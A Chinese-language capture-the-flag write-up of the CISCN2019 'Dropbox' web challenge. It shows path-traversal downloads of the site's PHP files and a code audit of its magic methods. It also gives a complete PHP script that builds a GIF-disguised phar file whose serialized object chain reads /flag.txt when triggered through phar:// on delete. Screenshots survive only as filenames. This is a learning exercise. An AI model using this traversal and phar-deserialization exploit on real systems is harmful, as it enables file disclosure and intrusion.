[CISCN2019 华北赛区 Day1 Web1]Dropbox

我能说什么呢?好题,至少对于我这个新手真的震惊到了

image-20240603204833820

首先是干吗呢?

是尝试一下注入,发现没用所以开始疯狂抓包

在点到下载的时候蹦出来

image-20240603204936007

也就是说filename任我写是吧,所以我们开始找一些可以找到的文件

捕捉的到的话,一个注册,一个登录,一个上传文件,一个下载,一个删除

也就是

../../register.php
../../login.php
../../upload.php
../../download.php
../../delete.php

考验你英语词汇的时候到了

在这些文件里又发现了一个class.php‘

一起下下来

之后就是长长的审计代码

发现几个有用消息

image-20240603205332955

格式限制

image-20240603205402910

不能上传带flag的文件

还有,就是

image-20240603205515097

发现两个魔术头

一个call一个destruct

怎么说呢

__call()魔术方法会在对象调用的方法不存在时,自动执行

所以我们后续要照一照有没有调用不存在的对象

image-20240603211219708

在index.php里

还有一个就是

image-20240603205822773

也就是说,我只有可能从这个读到数据呗

而在destruct中应用了

image-20240603210024082

所以说,emm

我们要想办法使用到这个

接下来就是重点

phar文件

这个文件的特点就是将一个学历恶化的对象存储到phar文件中生成之后,即使更改文件格式,也不会影响作用,之后再通过phar://协议去访问,就可以反序列化

也就是说,我们需要

创建一个phar文件,存储序列化对象,并在最后通过协议去读取

<?php
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$this->files = array();
$this->results = array();
$this->funcs = array();

$file = new File();
$file->filename = '/flag.txt'; # 这里的flag.txt是多次猜测出来的
array_push($this->files, $file);
}
}

$user = new User();
$filelist = new FileList();
$user->db = $filelist;

$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($user); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

脚本如下(直接下到脚本所在文件夹)

之后,上传读取即可

image-20240603211730723

读取方式:

先上传,再删除,抓包,再使用伪协议读取,触发反序列化,读取flag